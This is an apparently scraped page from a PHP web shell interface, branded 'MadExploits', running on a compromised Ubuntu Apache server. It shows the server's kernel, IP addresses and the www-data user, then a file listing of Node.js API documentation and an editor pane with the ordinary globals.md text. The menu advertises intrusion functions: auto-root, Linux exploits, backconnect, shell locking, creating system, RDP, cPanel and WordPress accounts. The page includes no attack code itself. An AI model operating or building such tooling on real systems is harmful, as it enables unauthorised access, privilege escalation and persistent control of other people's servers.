Linux localhost 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 23.92.16.63 | : 104.23.187.75
Cant Read [ /etc/named.conf ]
8.1.5
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
nodejs /
api /
[ HOME SHELL ]
Name
Size
Permission
Action
assets
[ DIR ]
drwxr-xr-x
addons.html
105.72
KB
-rw-r--r--
addons.json.gz
10.95
KB
-rw-r--r--
addons.md
39.76
KB
-rw-r--r--
all.html
7.2
MB
-rw-r--r--
all.json.gz
881.44
KB
-rw-r--r--
assert.html
191.3
KB
-rw-r--r--
assert.json.gz
13
KB
-rw-r--r--
assert.md
66.51
KB
-rw-r--r--
async_context.html
84.04
KB
-rw-r--r--
async_context.json.gz
7.09
KB
-rw-r--r--
async_context.md
24.68
KB
-rw-r--r--
async_hooks.html
87.13
KB
-rw-r--r--
async_hooks.json.gz
9.82
KB
-rw-r--r--
async_hooks.md
30.48
KB
-rw-r--r--
buffer.html
479.09
KB
-rw-r--r--
buffer.json.gz
28.89
KB
-rw-r--r--
buffer.md
148.96
KB
-rw-r--r--
child_process.html
168.62
KB
-rw-r--r--
child_process.json.gz
20.9
KB
-rw-r--r--
child_process.md
70.54
KB
-rw-r--r--
cli.html
154.13
KB
-rw-r--r--
cli.json.gz
23.79
KB
-rw-r--r--
cli.md
63.8
KB
-rw-r--r--
cluster.html
90.59
KB
-rw-r--r--
cluster.json.gz
9.48
KB
-rw-r--r--
cluster.md
28.84
KB
-rw-r--r--
console.html
59.43
KB
-rw-r--r--
console.json.gz
6.07
KB
-rw-r--r--
console.md
16.5
KB
-rw-r--r--
corepack.html
22.56
KB
-rw-r--r--
corepack.json.gz
2.55
KB
-rw-r--r--
corepack.md
5.08
KB
-rw-r--r--
crypto.html
521.88
KB
-rw-r--r--
crypto.json.gz
45.72
KB
-rw-r--r--
crypto.md
193.91
KB
-rw-r--r--
debugger.html
28.15
KB
-rw-r--r--
debugger.json.gz
3.12
KB
-rw-r--r--
debugger.md
7.02
KB
-rw-r--r--
deprecations.html
197.6
KB
-rw-r--r--
deprecations.json.gz
23.7
KB
-rw-r--r--
deprecations.md
97.51
KB
-rw-r--r--
dgram.html
89.39
KB
-rw-r--r--
dgram.json.gz
10.07
KB
-rw-r--r--
dgram.md
30.76
KB
-rw-r--r--
diagnostics_channel.html
44.76
KB
-rw-r--r--
diagnostics_channel.json.gz
3.2
KB
-rw-r--r--
diagnostics_channel.md
11.09
KB
-rw-r--r--
dns.html
130.7
KB
-rw-r--r--
dns.json.gz
15.74
KB
-rw-r--r--
dns.md
52.17
KB
-rw-r--r--
documentation.html
25.04
KB
-rw-r--r--
documentation.json.gz
2.22
KB
-rw-r--r--
documentation.md
4.67
KB
-rw-r--r--
domain.html
48.47
KB
-rw-r--r--
domain.json.gz
6.2
KB
-rw-r--r--
domain.md
15.21
KB
-rw-r--r--
embedding.html
25.79
KB
-rw-r--r--
embedding.json.gz
3.01
KB
-rw-r--r--
embedding.md
6.65
KB
-rw-r--r--
errors.html
282.1
KB
-rw-r--r--
errors.json.gz
42.26
KB
-rw-r--r--
errors.md
96.75
KB
-rw-r--r--
esm.html
126.92
KB
-rw-r--r--
esm.json.gz
20.56
KB
-rw-r--r--
esm.md
58.28
KB
-rw-r--r--
events.html
225.71
KB
-rw-r--r--
events.json.gz
16.69
KB
-rw-r--r--
events.md
64.93
KB
-rw-r--r--
fs.html
628.53
KB
-rw-r--r--
fs.json.gz
66.73
KB
-rw-r--r--
fs.md
247.34
KB
-rw-r--r--
globals.html
74.86
KB
-rw-r--r--
globals.json.gz
9
KB
-rw-r--r--
globals.md
20.04
KB
-rw-r--r--
http.html
275.03
KB
-rw-r--r--
http.json.gz
35.28
KB
-rw-r--r--
http.md
106.51
KB
-rw-r--r--
http2.html
318.05
KB
-rw-r--r--
http2.json.gz
39.24
KB
-rw-r--r--
http2.md
129.92
KB
-rw-r--r--
https.html
56.48
KB
-rw-r--r--
https.json.gz
5.69
KB
-rw-r--r--
https.md
16.33
KB
-rw-r--r--
index.html
12.63
KB
-rw-r--r--
index.json
54
B
-rw-r--r--
index.md
1.97
KB
-rw-r--r--
inspector.html
34.25
KB
-rw-r--r--
inspector.json.gz
3.62
KB
-rw-r--r--
inspector.md
7.63
KB
-rw-r--r--
intl.html
31.9
KB
-rw-r--r--
intl.json.gz
3.87
KB
-rw-r--r--
intl.md
10.71
KB
-rw-r--r--
module.html
30.94
KB
-rw-r--r--
module.json.gz
2.7
KB
-rw-r--r--
module.md
5.12
KB
-rw-r--r--
modules.html
80.58
KB
-rw-r--r--
modules.json.gz
12.65
KB
-rw-r--r--
modules.md
32.97
KB
-rw-r--r--
n-api.html
395.21
KB
-rw-r--r--
n-api.json.gz
50.69
KB
-rw-r--r--
n-api.md
214.45
KB
-rw-r--r--
net.html
140.93
KB
-rw-r--r--
net.json.gz
17.64
KB
-rw-r--r--
net.md
50.96
KB
-rw-r--r--
os.html
71.85
KB
-rw-r--r--
os.json.gz
8.88
KB
-rw-r--r--
os.md
35.5
KB
-rw-r--r--
packages.html
99.12
KB
-rw-r--r--
packages.json.gz
15.18
KB
-rw-r--r--
packages.md
45.48
KB
-rw-r--r--
path.html
52.44
KB
-rw-r--r--
path.json.gz
4.9
KB
-rw-r--r--
path.md
14.91
KB
-rw-r--r--
perf_hooks.html
139.88
KB
-rw-r--r--
perf_hooks.json.gz
12.51
KB
-rw-r--r--
perf_hooks.md
42.15
KB
-rw-r--r--
permissions.html
44.6
KB
-rw-r--r--
permissions.json.gz
5.44
KB
-rw-r--r--
permissions.md
14.59
KB
-rw-r--r--
policy.html
14.21
KB
-rw-r--r--
policy.json
475
B
-rw-r--r--
policy.md
221
B
-rw-r--r--
process.html
290.1
KB
-rw-r--r--
process.json.gz
31.21
KB
-rw-r--r--
process.md
106.75
KB
-rw-r--r--
punycode.html
26.24
KB
-rw-r--r--
punycode.json.gz
2
KB
-rw-r--r--
punycode.md
4.17
KB
-rw-r--r--
querystring.html
28.24
KB
-rw-r--r--
querystring.json.gz
2.65
KB
-rw-r--r--
querystring.md
5.57
KB
-rw-r--r--
readline.html
109.24
KB
-rw-r--r--
readline.json.gz
11.9
KB
-rw-r--r--
readline.md
40.45
KB
-rw-r--r--
repl.html
68.72
KB
-rw-r--r--
repl.json.gz
10
KB
-rw-r--r--
repl.md
23.69
KB
-rw-r--r--
report.html
81.54
KB
-rw-r--r--
report.json.gz
6.39
KB
-rw-r--r--
report.md
18.83
KB
-rw-r--r--
single-executable-applications...
23.53
KB
-rw-r--r--
single-executable-applications...
2.36
KB
-rw-r--r--
single-executable-applications...
5.12
KB
-rw-r--r--
stream.html
397.04
KB
-rw-r--r--
stream.json.gz
51.16
KB
-rw-r--r--
stream.md
145.8
KB
-rw-r--r--
string_decoder.html
23.21
KB
-rw-r--r--
string_decoder.json.gz
1.54
KB
-rw-r--r--
string_decoder.md
2.96
KB
-rw-r--r--
synopsis.html
19.54
KB
-rw-r--r--
synopsis.json
2.96
KB
-rw-r--r--
synopsis.md
2.12
KB
-rw-r--r--
test.html
168.11
KB
-rw-r--r--
test.json.gz
16.62
KB
-rw-r--r--
test.md
57.47
KB
-rw-r--r--
timers.html
55.89
KB
-rw-r--r--
timers.json.gz
5.21
KB
-rw-r--r--
timers.md
15.53
KB
-rw-r--r--
tls.html
179.78
KB
-rw-r--r--
tls.json.gz
32.31
KB
-rw-r--r--
tls.md
87.96
KB
-rw-r--r--
tracing.html
34.37
KB
-rw-r--r--
tracing.json.gz
3.47
KB
-rw-r--r--
tracing.md
8.52
KB
-rw-r--r--
tty.html
36.94
KB
-rw-r--r--
tty.json.gz
3.72
KB
-rw-r--r--
tty.md
8.91
KB
-rw-r--r--
url.html
150.42
KB
-rw-r--r--
url.json.gz
15.7
KB
-rw-r--r--
url.md
53.65
KB
-rw-r--r--
util.html
285.68
KB
-rw-r--r--
util.json.gz
25.73
KB
-rw-r--r--
util.md
96.25
KB
-rw-r--r--
v8.html
111.35
KB
-rw-r--r--
v8.json.gz
11.86
KB
-rw-r--r--
v8.md
34.31
KB
-rw-r--r--
vm.html
142.53
KB
-rw-r--r--
vm.json.gz
16.81
KB
-rw-r--r--
vm.md
59.81
KB
-rw-r--r--
wasi.html
27.91
KB
-rw-r--r--
wasi.json.gz
2.86
KB
-rw-r--r--
wasi.md
6.54
KB
-rw-r--r--
webcrypto.html
152.21
KB
-rw-r--r--
webcrypto.json.gz
9.76
KB
-rw-r--r--
webcrypto.md
45.48
KB
-rw-r--r--
webstreams.html
150.7
KB
-rw-r--r--
webstreams.json.gz
9.88
KB
-rw-r--r--
webstreams.md
36.82
KB
-rw-r--r--
worker_threads.html
113.35
KB
-rw-r--r--
worker_threads.json.gz
14.43
KB
-rw-r--r--
worker_threads.md
43.13
KB
-rw-r--r--
zlib.html
108.85
KB
-rw-r--r--
zlib.json.gz
10.34
KB
-rw-r--r--
zlib.md
35.1
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : globals.md
# Global objects <!--introduced_in=v0.10.0--> <!-- type=misc --> These objects are available in all modules. The following variables may appear to be global but are not. They exist only in the scope of modules, see the [module system documentation][]: * [`__dirname`][] * [`__filename`][] * [`exports`][] * [`module`][] * [`require()`][] The objects listed here are specific to Node.js. There are [built-in objects][] that are part of the JavaScript language itself, which are also globally accessible. ## Class: `AbortController` <!-- YAML added: - v15.0.0 - v14.17.0 changes: - version: v15.4.0 pr-url: https://github.com/nodejs/node/pull/35949 description: No longer experimental. --> <!-- type=global --> A utility class used to signal cancelation in selected `Promise`-based APIs. The API is based on the Web API [`AbortController`][]. ```js const ac = new AbortController(); ac.signal.addEventListener('abort', () => console.log('Aborted!'), { once: true }); ac.abort(); console.log(ac.signal.aborted); // Prints true ``` ### `abortController.abort([reason])` <!-- YAML added: - v15.0.0 - v14.17.0 changes: - version: - v17.2.0 - v16.14.0 pr-url: https://github.com/nodejs/node/pull/40807 description: Added the new optional reason argument. --> * `reason` {any} An optional reason, retrievable on the `AbortSignal`'s `reason` property. Triggers the abort signal, causing the `abortController.signal` to emit the `'abort'` event. ### `abortController.signal` <!-- YAML added: - v15.0.0 - v14.17.0 --> * Type: {AbortSignal} ### Class: `AbortSignal` <!-- YAML added: - v15.0.0 - v14.17.0 --> * Extends: {EventTarget} The `AbortSignal` is used to notify observers when the `abortController.abort()` method is called. #### Static method: `AbortSignal.abort([reason])` <!-- YAML added: - v15.12.0 - v14.17.0 changes: - version: - v17.2.0 - v16.14.0 pr-url: https://github.com/nodejs/node/pull/40807 description: Added the new optional reason argument. --> * `reason`: {any} * Returns: {AbortSignal} Returns a new already aborted `AbortSignal`. #### Static method: `AbortSignal.timeout(delay)` <!-- YAML added: - v17.3.0 - v16.14.0 --> * `delay` {number} The number of milliseconds to wait before triggering the AbortSignal. Returns a new `AbortSignal` which will be aborted in `delay` milliseconds. #### Static method: `AbortSignal.any(signals)` <!-- YAML added: v18.17.0 --> * `signals` {AbortSignal\[]} The `AbortSignal`s of which to compose a new `AbortSignal`. Returns a new `AbortSignal` which will be aborted if any of the provided signals are aborted. Its [`abortSignal.reason`][] will be set to whichever one of the `signals` caused it to be aborted. #### Event: `'abort'` <!-- YAML added: - v15.0.0 - v14.17.0 --> The `'abort'` event is emitted when the `abortController.abort()` method is called. The callback is invoked with a single object argument with a single `type` property set to `'abort'`: ```js const ac = new AbortController(); // Use either the onabort property... ac.signal.onabort = () => console.log('aborted!'); // Or the EventTarget API... ac.signal.addEventListener('abort', (event) => { console.log(event.type); // Prints 'abort' }, { once: true }); ac.abort(); ``` The `AbortController` with which the `AbortSignal` is associated will only ever trigger the `'abort'` event once. We recommended that code check that the `abortSignal.aborted` attribute is `false` before adding an `'abort'` event listener. Any event listeners attached to the `AbortSignal` should use the `{ once: true }` option (or, if using the `EventEmitter` APIs to attach a listener, use the `once()` method) to ensure that the event listener is removed as soon as the `'abort'` event is handled. Failure to do so may result in memory leaks. #### `abortSignal.aborted` <!-- YAML added: - v15.0.0 - v14.17.0 --> * Type: {boolean} True after the `AbortController` has been aborted. #### `abortSignal.onabort` <!-- YAML added: - v15.0.0 - v14.17.0 --> * Type: {Function} An optional callback function that may be set by user code to be notified when the `abortController.abort()` function has been called. #### `abortSignal.reason` <!-- YAML added: - v17.2.0 - v16.14.0 --> * Type: {any} An optional reason specified when the `AbortSignal` was triggered. ```js const ac = new AbortController(); ac.abort(new Error('boom!')); console.log(ac.signal.reason); // Error: boom! ``` #### `abortSignal.throwIfAborted()` <!-- YAML added: v17.3.0 --> If `abortSignal.aborted` is `true`, throws `abortSignal.reason`. ## Class: `Blob` <!-- YAML added: v18.0.0 --> <!-- type=global --> See {Blob}. ## Class: `Buffer` <!-- YAML added: v0.1.103 --> <!-- type=global --> * {Function} Used to handle binary data. See the [buffer section][]. ## Class: `ByteLengthQueuingStrategy` <!-- YAML added: v18.0.0 --> > Stability: 1 - Experimental. A browser-compatible implementation of [`ByteLengthQueuingStrategy`][]. ## `__dirname` This variable may appear to be global but is not. See [`__dirname`][]. ## `__filename` This variable may appear to be global but is not. See [`__filename`][]. ## `atob(data)` <!-- YAML added: v16.0.0 --> > Stability: 3 - Legacy. Use `Buffer.from(data, 'base64')` instead. Global alias for [`buffer.atob()`][]. ## `BroadcastChannel` <!-- YAML added: v18.0.0 --> See {BroadcastChannel}. ## `btoa(data)` <!-- YAML added: v16.0.0 --> > Stability: 3 - Legacy. Use `buf.toString('base64')` instead. Global alias for [`buffer.btoa()`][]. ## `clearImmediate(immediateObject)` <!-- YAML added: v0.9.1 --> <!--type=global--> [`clearImmediate`][] is described in the [timers][] section. ## `clearInterval(intervalObject)` <!-- YAML added: v0.0.1 --> <!--type=global--> [`clearInterval`][] is described in the [timers][] section. ## `clearTimeout(timeoutObject)` <!-- YAML added: v0.0.1 --> <!--type=global--> [`clearTimeout`][] is described in the [timers][] section. ## Class: `CompressionStream` <!-- YAML added: v18.0.0 --> > Stability: 1 - Experimental. A browser-compatible implementation of [`CompressionStream`][]. ## `console` <!-- YAML added: v0.1.100 --> <!-- type=global --> * {Object} Used to print to stdout and stderr. See the [`console`][] section. ## Class: `CountQueuingStrategy` <!-- YAML added: v18.0.0 --> > Stability: 1 - Experimental. A browser-compatible implementation of [`CountQueuingStrategy`][]. ## `Crypto` <!-- YAML added: v17.6.0 --> > Stability: 1 - Experimental. Enable this API with the > [`--experimental-global-webcrypto`][] CLI flag. A browser-compatible implementation of {Crypto}. This global is available only if the Node.js binary was compiled with including support for the `node:crypto` module. ## `crypto` <!-- YAML added: v17.6.0 --> > Stability: 1 - Experimental. Enable this API with the > [`--experimental-global-webcrypto`][] CLI flag. A browser-compatible implementation of the [Web Crypto API][]. ## `CryptoKey` <!-- YAML added: v17.6.0 --> > Stability: 1 - Experimental. Enable this API with the > [`--experimental-global-webcrypto`][] CLI flag. A browser-compatible implementation of {CryptoKey}. This global is available only if the Node.js binary was compiled with including support for the `node:crypto` module. ## `CustomEvent` <!-- YAML added: v18.7.0 --> > Stability: 1 - Experimental. Enable this API with the > [`--experimental-global-customevent`][] CLI flag. <!-- type=global --> A browser-compatible implementation of the [`CustomEvent` Web API][]. ## Class: `DecompressionStream` <!-- YAML added: v18.0.0 --> > Stability: 1 - Experimental. A browser-compatible implementation of [`DecompressionStream`][]. ## `Event` <!-- YAML added: v15.0.0 changes: - version: v15.4.0 pr-url: https://github.com/nodejs/node/pull/35949 description: No longer experimental. --> <!-- type=global --> A browser-compatible implementation of the `Event` class. See [`EventTarget` and `Event` API][] for more details. ## `EventTarget` <!-- YAML added: v15.0.0 changes: - version: v15.4.0 pr-url: https://github.com/nodejs/node/pull/35949 description: No longer experimental. --> <!-- type=global --> A browser-compatible implementation of the `EventTarget` class. See [`EventTarget` and `Event` API][] for more details. ## `exports` This variable may appear to be global but is not. See [`exports`][]. ## `fetch` <!-- YAML added: v17.5.0 changes: - version: v18.0.0 pr-url: https://github.com/nodejs/node/pull/41811 description: No longer behind `--experimental-global-fetch` CLI flag. --> > Stability: 1 - Experimental. Disable this API with the [`--no-experimental-fetch`][] > CLI flag. A browser-compatible implementation of the [`fetch()`][] function. ## Class `FormData` <!-- YAML added: v17.6.0 changes: - version: v18.0.0 pr-url: https://github.com/nodejs/node/pull/41811 description: No longer behind `--experimental-global-fetch` CLI flag. --> > Stability: 1 - Experimental. Disable this API with the [`--no-experimental-fetch`][] > CLI flag. A browser-compatible implementation of {FormData}. ## `global` <!-- YAML added: v0.1.27 --> <!-- type=global --> > Stability: 3 - Legacy. Use [`globalThis`][] instead. * {Object} The global namespace object. In browsers, the top-level scope has traditionally been the global scope. This means that `var something` will define a new global variable, except within ECMAScript modules. In Node.js, this is different. The top-level scope is not the global scope; `var something` inside a Node.js module will be local to that module, regardless of whether it is a [CommonJS module][] or an [ECMAScript module][]. ## Class `Headers` <!-- YAML added: v17.5.0 changes: - version: v18.0.0 pr-url: https://github.com/nodejs/node/pull/41811 description: No longer behind `--experimental-global-fetch` CLI flag. --> > Stability: 1 - Experimental. Disable this API with the [`--no-experimental-fetch`][] > CLI flag. A browser-compatible implementation of {Headers}. ## `MessageChannel` <!-- YAML added: v15.0.0 --> <!-- type=global --> The `MessageChannel` class. See [`MessageChannel`][] for more details. ## `MessageEvent` <!-- YAML added: v15.0.0 --> <!-- type=global --> The `MessageEvent` class. See [`MessageEvent`][] for more details. ## `MessagePort` <!-- YAML added: v15.0.0 --> <!-- type=global --> The `MessagePort` class. See [`MessagePort`][] for more details. ## `module` This variable may appear to be global but is not. See [`module`][]. ## `performance` <!-- YAML added: v16.0.0 --> The [`perf_hooks.performance`][] object. ## `process` <!-- YAML added: v0.1.7 --> <!-- type=global --> * {Object} The process object. See the [`process` object][] section. ## `queueMicrotask(callback)` <!-- YAML added: v11.0.0 --> <!-- type=global --> * `callback` {Function} Function to be queued. The `queueMicrotask()` method queues a microtask to invoke `callback`. If `callback` throws an exception, the [`process` object][] `'uncaughtException'` event will be emitted. The microtask queue is managed by V8 and may be used in a similar manner to the [`process.nextTick()`][] queue, which is managed by Node.js. The `process.nextTick()` queue is always processed before the microtask queue within each turn of the Node.js event loop. ```js // Here, `queueMicrotask()` is used to ensure the 'load' event is always // emitted asynchronously, and therefore consistently. Using // `process.nextTick()` here would result in the 'load' event always emitting // before any other promise jobs. DataHandler.prototype.load = async function load(key) { const hit = this._cache.get(key); if (hit !== undefined) { queueMicrotask(() => { this.emit('load', hit); }); return; } const data = await fetchData(key); this._cache.set(key, data); this.emit('load', data); }; ``` ## Class: `ReadableByteStreamController` <!-- YAML added: v18.0.0 --> > Stability: 1 - Experimental. A browser-compatible implementation of [`ReadableByteStreamController`][]. ## Class: `ReadableStream` <!-- YAML added: v18.0.0 --> > Stability: 1 - Experimental. A browser-compatible implementation of [`ReadableStream`][]. ## Class: `ReadableStreamBYOBReader` <!-- YAML added: v18.0.0 --> > Stability: 1 - Experimental. A browser-compatible implementation of [`ReadableStreamBYOBReader`][]. ## Class: `ReadableStreamBYOBRequest` <!-- YAML added: v18.0.0 --> > Stability: 1 - Experimental. A browser-compatible implementation of [`ReadableStreamBYOBRequest`][]. ## Class: `ReadableStreamDefaultController` <!-- YAML added: v18.0.0 --> > Stability: 1 - Experimental. A browser-compatible implementation of [`ReadableStreamDefaultController`][]. ## Class: `ReadableStreamDefaultReader` <!-- YAML added: v18.0.0 --> > Stability: 1 - Experimental. A browser-compatible implementation of [`ReadableStreamDefaultReader`][]. ## `require()` This variable may appear to be global but is not. See [`require()`][]. ## `Response` <!-- YAML added: v17.5.0 changes: - version: v18.0.0 pr-url: https://github.com/nodejs/node/pull/41811 description: No longer behind `--experimental-global-fetch` CLI flag. --> > Stability: 1 - Experimental. Disable this API with the [`--no-experimental-fetch`][] > CLI flag. A browser-compatible implementation of {Response}. ## `Request` <!-- YAML added: v17.5.0 changes: - version: v18.0.0 pr-url: https://github.com/nodejs/node/pull/41811 description: No longer behind `--experimental-global-fetch` CLI flag. --> > Stability: 1 - Experimental. Disable this API with the [`--no-experimental-fetch`][] > CLI flag. A browser-compatible implementation of {Request}. ## `setImmediate(callback[, ...args])` <!-- YAML added: v0.9.1 --> <!-- type=global --> [`setImmediate`][] is described in the [timers][] section. ## `setInterval(callback, delay[, ...args])` <!-- YAML added: v0.0.1 --> <!-- type=global --> [`setInterval`][] is described in the [timers][] section. ## `setTimeout(callback, delay[, ...args])` <!-- YAML added: v0.0.1 --> <!-- type=global --> [`setTimeout`][] is described in the [timers][] section. ## `structuredClone(value[, options])` <!-- YAML added: v17.0.0 --> <!-- type=global --> The WHATWG [`structuredClone`][] method. ## `SubtleCrypto` <!-- YAML added: v17.6.0 --> > Stability: 1 - Experimental. Enable this API with the > [`--experimental-global-webcrypto`][] CLI flag. A browser-compatible implementation of {SubtleCrypto}. This global is available only if the Node.js binary was compiled with including support for the `node:crypto` module. ## `DOMException` <!-- YAML added: v17.0.0 --> <!-- type=global --> The WHATWG `DOMException` class. See [`DOMException`][] for more details. ## `TextDecoder` <!-- YAML added: v11.0.0 --> <!-- type=global --> The WHATWG `TextDecoder` class. See the [`TextDecoder`][] section. ## Class: `TextDecoderStream` <!-- YAML added: v18.0.0 --> > Stability: 1 - Experimental. A browser-compatible implementation of [`TextDecoderStream`][]. ## `TextEncoder` <!-- YAML added: v11.0.0 --> <!-- type=global --> The WHATWG `TextEncoder` class. See the [`TextEncoder`][] section. ## Class: `TextEncoderStream` <!-- YAML added: v18.0.0 --> > Stability: 1 - Experimental. A browser-compatible implementation of [`TextEncoderStream`][]. ## Class: `TransformStream` <!-- YAML added: v18.0.0 --> > Stability: 1 - Experimental. A browser-compatible implementation of [`TransformStream`][]. ## Class: `TransformStreamDefaultController` <!-- YAML added: v18.0.0 --> > Stability: 1 - Experimental. A browser-compatible implementation of [`TransformStreamDefaultController`][]. ## `URL` <!-- YAML added: v10.0.0 --> <!-- type=global --> The WHATWG `URL` class. See the [`URL`][] section. ## `URLSearchParams` <!-- YAML added: v10.0.0 --> <!-- type=global --> The WHATWG `URLSearchParams` class. See the [`URLSearchParams`][] section. ## `WebAssembly` <!-- YAML added: v8.0.0 --> <!-- type=global --> * {Object} The object that acts as the namespace for all W3C [WebAssembly][webassembly-org] related functionality. See the [Mozilla Developer Network][webassembly-mdn] for usage and compatibility. ## Class: `WritableStream` <!-- YAML added: v18.0.0 --> > Stability: 1 - Experimental. A browser-compatible implementation of [`WritableStream`][]. ## Class: `WritableStreamDefaultController` <!-- YAML added: v18.0.0 --> > Stability: 1 - Experimental. A browser-compatible implementation of [`WritableStreamDefaultController`][]. ## Class: `WritableStreamDefaultWriter` <!-- YAML added: v18.0.0 --> > Stability: 1 - Experimental. A browser-compatible implementation of [`WritableStreamDefaultWriter`][]. [CommonJS module]: modules.md [ECMAScript module]: esm.md [Web Crypto API]: webcrypto.md [`--experimental-global-customevent`]: cli.md#--experimental-global-customevent [`--experimental-global-webcrypto`]: cli.md#--experimental-global-webcrypto [`--no-experimental-fetch`]: cli.md#--no-experimental-fetch [`AbortController`]: https://developer.mozilla.org/en-US/docs/Web/API/AbortController [`ByteLengthQueuingStrategy`]: webstreams.md#class-bytelengthqueuingstrategy [`CompressionStream`]: webstreams.md#class-compressionstream [`CountQueuingStrategy`]: webstreams.md#class-countqueuingstrategy [`CustomEvent` Web API]: https://dom.spec.whatwg.org/#customevent [`DOMException`]: https://developer.mozilla.org/en-US/docs/Web/API/DOMException [`DecompressionStream`]: webstreams.md#class-decompressionstream [`EventTarget` and `Event` API]: events.md#eventtarget-and-event-api [`MessageChannel`]: worker_threads.md#class-messagechannel [`MessageEvent`]: https://developer.mozilla.org/en-US/docs/Web/API/MessageEvent/MessageEvent [`MessagePort`]: worker_threads.md#class-messageport [`ReadableByteStreamController`]: webstreams.md#class-readablebytestreamcontroller [`ReadableStreamBYOBReader`]: webstreams.md#class-readablestreambyobreader [`ReadableStreamBYOBRequest`]: webstreams.md#class-readablestreambyobrequest [`ReadableStreamDefaultController`]: webstreams.md#class-readablestreamdefaultcontroller [`ReadableStreamDefaultReader`]: webstreams.md#class-readablestreamdefaultreader [`ReadableStream`]: webstreams.md#class-readablestream [`TextDecoderStream`]: webstreams.md#class-textdecoderstream [`TextDecoder`]: util.md#class-utiltextdecoder [`TextEncoderStream`]: webstreams.md#class-textencoderstream [`TextEncoder`]: util.md#class-utiltextencoder [`TransformStreamDefaultController`]: webstreams.md#class-transformstreamdefaultcontroller [`TransformStream`]: webstreams.md#class-transformstream [`URLSearchParams`]: url.md#class-urlsearchparams [`URL`]: url.md#class-url [`WritableStreamDefaultController`]: webstreams.md#class-writablestreamdefaultcontroller [`WritableStreamDefaultWriter`]: webstreams.md#class-writablestreamdefaultwriter [`WritableStream`]: webstreams.md#class-writablestream [`__dirname`]: modules.md#__dirname [`__filename`]: modules.md#__filename [`abortSignal.reason`]: #abortsignalreason [`buffer.atob()`]: buffer.md#bufferatobdata [`buffer.btoa()`]: buffer.md#bufferbtoadata [`clearImmediate`]: timers.md#clearimmediateimmediate [`clearInterval`]: timers.md#clearintervaltimeout [`clearTimeout`]: timers.md#cleartimeouttimeout [`console`]: console.md [`exports`]: modules.md#exports [`fetch()`]: https://developer.mozilla.org/en-US/docs/Web/API/fetch [`globalThis`]: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/globalThis [`module`]: modules.md#module [`perf_hooks.performance`]: perf_hooks.md#perf_hooksperformance [`process.nextTick()`]: process.md#processnexttickcallback-args [`process` object]: process.md#process [`require()`]: modules.md#requireid [`setImmediate`]: timers.md#setimmediatecallback-args [`setInterval`]: timers.md#setintervalcallback-delay-args [`setTimeout`]: timers.md#settimeoutcallback-delay-args [`structuredClone`]: https://developer.mozilla.org/en-US/docs/Web/API/structuredClone [buffer section]: buffer.md [built-in objects]: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects [module system documentation]: modules.md [timers]: timers.md [webassembly-mdn]: https://developer.mozilla.org/en-US/docs/WebAssembly [webassembly-org]: https://webassembly.org
Close